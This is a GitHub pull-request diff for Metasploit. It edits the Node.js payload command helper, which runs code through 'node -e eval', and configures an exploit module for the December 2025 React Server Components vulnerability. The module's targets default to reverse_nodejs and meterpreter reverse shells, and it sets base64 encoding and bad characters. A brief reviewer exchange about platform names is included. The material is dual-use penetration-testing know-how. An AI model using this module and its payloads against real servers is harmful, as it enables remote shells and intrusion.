Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
2 changes: 1 addition & 1 deletion lib/msf/core/payload/nodejs.rb
Original file line number Diff line number Diff line change
Expand Up @@ -85,6 +85,6 @@ def nodejs_reverse_tcp(opts={})
# @param [String] code the javascript code to run
# @return [String] a command that invokes "node" and passes the code
def nodejs_cmd(code)
"node -e 'eval(\"#{Rex::Text.to_hex(code, "\\x")}\");'"
"node -e 'eval(\"#{code.gsub(/[^a-z0-9\s]/i) { |char| Rex::Text.to_hex(char, '\\x') }}\");'"
end
end
Original file line number Diff line number Diff line change
Expand Up @@ -32,16 +32,17 @@ def initialize(info = {})
['URL', 'https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components'],
['URL', 'https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3']
],
'Platform' => ['multi'],
'Platform' => %w[unix linux win],
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why not 'multi'?

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Although it's placed in the exploits/multi folder, the platforms should be explicitly defined like so

'Arch' => [ARCH_CMD],
'Targets' => [
[
'Unix Command',
{
'Platform' => ['unix', 'linux'],
'DefaultOptions' => {
'FETCH_COMMAND' => 'WGET'
'PAYLOAD' => 'cmd/unix/reverse_nodejs'
}
# Tested with cmd/unix/reverse_nodejs
# Tested with cmd/unix/reverse_bash
# Tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
Expand All @@ -55,7 +56,10 @@ def initialize(info = {})
],
],
'Payload' => {
'BadChars' => '"'
'BadChars' => '"',
'Space' => 131068,
'DisableNops' => true,
'Encoder' => 'cmd/base64'
},
'DefaultTarget' => 0,
'DisclosureDate' => '2025-12-03',
Expand Down
Loading